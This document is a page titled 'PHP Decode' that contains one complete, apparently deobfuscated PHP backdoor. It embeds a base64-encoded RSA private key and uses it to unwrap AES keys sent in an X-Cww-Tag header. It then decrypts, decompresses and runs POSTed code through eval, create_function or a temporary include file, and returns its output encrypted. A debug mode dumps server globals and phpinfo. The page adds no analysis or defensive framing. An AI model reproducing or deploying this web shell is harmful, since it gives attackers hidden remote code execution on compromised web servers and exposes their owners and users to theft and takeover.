PHP Decode

<?php define('EALGO','AES-128-CBC');define('CWW_SIG','//CWWSUBSCRIPT//');define('_PRK','LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlDWFFJQkFBS0JnUUNuQzQrUVBIQ1FybXFwNC81STRPQk1ZUjJPa3k1MW12dmdpc0RNOFBEOCtZci9UMkhSCnJLWjM0YU1LcitvQzROVDlKL085MUJrRTlwNDFkZ1NEcWdnY3poUmxjTnAyaDB0eEdURWo1NEhSY2pBUDR1cVcKVEZKbWZONkZLYkw4SUhST2phVzNNZExxcU11VVBIWGZ0djlmZkR1RW0vV0tONmxUZGFpK0U4QjJ2d0lEQVFBQgpBb0dBZUtTYzF1c1AwUzVtMHJSYkhuOXEvejdVZmZoR2dhR2hjQlpHRUwyakR0R2JWYkViVUxlRXN1Zy9QS1M0Ck9jUHZqN2FmRHVaeisyV3g5YUo2dUN6QkZnSGNwR0RWRy9tSVphbWtZY0RHcGorMlpqU1ZwZjZ3aWh5ZHFyd20KWFdITVdsa2cvdURralJJZkViMmxlaGgzcG9YS3I5WGdBMXBraWRYS3JMN3dRT0VDUVFEVXlMMHRNVzdTRm9DYgpFblQxR2M4MHVuelBJNUQ4Y2JEOFFRbEVrZXFKSFpUUGRzV2Z0SU4wUGduRGk3T2pzdVRleVNmM3NHQlBQUFNGCm4wN05hM0piQWtFQXlQaTRjRmxURnVmaHlyZGNWeWZUSVJKSXFRNC91UjJQOEZZakhvVHlUcEttNzBEM0RrS1cKUHVTMDZraUZiOGJER3FrQWFVQ1htbDN3Z01Td08vRXliUUpCQU0rNDc4VHdud2tFNHFPQUR5RS9BdUtzc3k3Ygp2NnhScUw5NUZmMFVuV3NocjZZZ2dxaDM1bVJTTStIcnZZQ3ZJWExEMlBxWitrc2diRzBOcWpZckVFVUNRUUNECnRmWHlzNmZ2NENLcm40WW1ISlNUSFE5L3REWHhGVDNMYmpodi9RTnNtVkpNaFJBbFNXQjhjWmxiM2hHTmt2ODEKRHNPVk4xN2tMV0s4a2F0S2JhWDFBa0FRNHV6RzluY3lXNkJTVmhoOWRHU2d1THgwdm93S2VnTEJIQ08vajhCaApnSjdNUDFhRmFxaExvSkp6d0laekdiQ05QeFNXSS83VnFyZm0rdTRoZVduSgotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo=');$VERSION="0.2.0";$ID=(md5_file(__FILE__)?md5_file(__FILE__):'-').' php-'.PHP_VERSION.'/'.PHP_OS.'/'.$_SERVER['SERVER_SOFTWARE'];error_reporting(-1);@set_time_limit(3600);@ini_set('implicit_flush','On');@ini_set('default_socket_timeout','3600');@ini_set('file_uploads','On');@ini_set('max_execution_time','3600');@ini_set('max_input_time','3600');@ini_set('upload_max_filesize','32M');@ini_set('post_max_size','32M');$_7ba=$_SERVER['REQUEST_METHOD'][0]?$_SERVER['REQUEST_METHOD'][0]: 'P';if($_7ba=='G'){if(isset($_GET['debug'])&&_indbg('./cwwdebug.data',$_GET['debug'])){error_reporting(-1);_prdbg();exit;}}if($_7ba!='P'){_eer(10);}$_abd=false;foreach($_SERVER as $_213=>$_abd){if(strtolower($_213)=='http_x_cww_tag'){$_abd=pack("H*",$_abd);break;}}if($_abd===false)_eer(20);$_016=false;$_e64=openssl_pkey_get_private(array(base64_decode(_PRK),''));openssl_private_decrypt($_abd,$_016,$_e64);if(!$_016)_eer(30);$_78f=preg_match_all('/^([0-9]{10}):([0-9a-f]{32}):([0-9a-f]{32})$/i',$_016,$_73a);if(!$_78f)_eer(40);if($_73a[1][0]<time())_eer(50);$_6a5=array();$_6a5[0]=pack("H*",$_73a[2][0]);$_6a5[1]=pack("H*",$_73a[3][0]);if(eval('return 1;'))$_ef1=1;else if(is_callable('create_function'))$_ef1=2;else if(is_callable('file_put_contents'))$_ef1=3;else _eer(60);$_7f3=array();for($i=9;$i>=0;$i--){$_32c=_udec($_POST[$i],$_7f3[$i]);if($_32c>0)_eer($_32c+70);}if(empty($_7f3[9]))_eer(80);while(@ob_end_clean());$_bda=32;ob_start('_out',2);_eer(0);for($i=0;$i<=9;$i++){if(empty($_7f3[$i]))continue;$_3da=false;switch($_ef1){case 1: if(!eval($_7f3[$i]))$_3da=true;break;case 2: if(!call_user_func(create_function(null,$_7f3[$i])))$_3da=true;break;case 3: $_64f=tempnam(sys_get_temp_dir(),time());if(file_put_contents($_64f,"<?php\n".$_7f3[$i]."\nreturn false;\n?".'>')){if(!(include($_64f)))$_3da=true;unlink($_64f);}else{$_3da=true;}break;}if($_3da)_eer(90+$i);}ob_end_flush();while(@ob_end_flush());exit;function _eer($_216){global $ID,$VERSION;if($_216>0){sleep(1);header("HTTP/1.1 202 $_216");header('Connection: close',true);header("X-Cww-Err: $_216");}else{header('HTTP/1.1 200 OK');}header("X-Cww-Id: $VERSION $ID");header('Cache-Control: must-revalidate');header('Pragma: no-cache');header('Expires: Thu,1 Jan 1970 00:00:01 GMT');flush();if(!$_216)return;exit;}function _dec(&$_c97,&$_12c){global $_6a5;$_12c=openssl_decrypt($_c97,EALGO,$_6a5[0],false,$_6a5[1]);return $_12c||false;}function _enc(&$_379,&$_c97){global $_6a5;$_c97=openssl_encrypt($_379,EALGO,$_6a5[0],false,$_6a5[1]);return $_c97||false;}function _unz(&$_ed9,&$_e68){if(function_exists('gzdecode')){$_e68=gzdecode($_ed9);return $_e68||false;}else if(substr($_ed9,0,3)=="\x1f\x8b\x08"){$i=10;$_5f4=ord(substr($_ed9,3,1));if($_5f4>0){if($_5f4 & 4){list($_2d6)=unpack('v',substr($_ed9,$i,2));$i=$i+2+$_2d6;}if($_5f4 & 8)$i=strpos($_ed9,"\0",$i)+1;if($_5f4 & 16)$i=strpos($_ed9,"\0",$i)+1;if($_5f4 & 2)$i=$i+2;}$_e68=gzinflate(substr($_ed9,$i,-8));return $_e68||false;}return false;}function _udec(&$_c97,&$_12c){if(empty($_c97))return-1;$_ed9=false;if(!_dec($_c97,$_ed9))return 1;if(!_unz($_ed9,$_12c))return 2;$_c13=strpos($_12c,CWW_SIG);if($_c13===false||$_c13!=0)return 3;return 0;}$_829='';$_bd0=0;function _out($_61f,$_996){global $_829,$_bd0,$_bda;$_829.=$_61f;$_bd0++;$_6aa=NULL;if($_829&&($_996||$_bd0>$_bda)){global $_6a5;$_8b5=gzencode($_829);_enc($_8b5,$_6aa,$_6a5[0],$_6a5[1]);$_6aa.="\n";$_bd0=0;$_829=NULL;}return $_6aa;}function _indbg($_b98,$_a09){if($_8df=fopen($_b98,'r')){$_094=fgets($_8df);fclose($_8df);return $_a09==trim($_094);}return false;}function _prdbg(){global $VERSION;echo "<html><pre>\n";echo "OUR VERSION: $VERSION\n\n";echo "GLOBAL VARS:\n";print_r($GLOBALS);$_09a=array('openssl_get_cipher_methods','openssl_pkey_get_private','openssl_private_decrypt','openssl_decrypt','openssl_encrypt','gzdecode','gzencode','gzinflate','create_function','call_user_func','file_put_contents','tempnam',);echo "\n\nAVAILABLE FUNCTIONS:\n";foreach($_09a as $f){echo "$f():\te:".(function_exists($f)+0).',c:'.(is_callable($f)+0)."\n";}echo "\n\nCURRENT DIR AND STATS:\n";echo(getcwd())."\n";print_r(stat('.'));if(is_callable('openssl_get_cipher_methods')){echo "\n\nOPENSSL SUPPORTED METHODS:\n";print_r(openssl_get_cipher_methods());}echo "\n\nTHIS SERVER DATE/TIME:\n";echo(date('r'));if(is_callable('phpinfo')){echo "\n\nPHP INFO:\n";ob_start();phpinfo();$_c4f=ob_get_contents();ob_end_clean();$_c4f=preg_replace('/<[^>]+>/i',"\t",$_c4f);echo "$_c4f\n</pre></html>";}else{echo "\n\nPHP INFO:(func is not callable)\n";}} ?>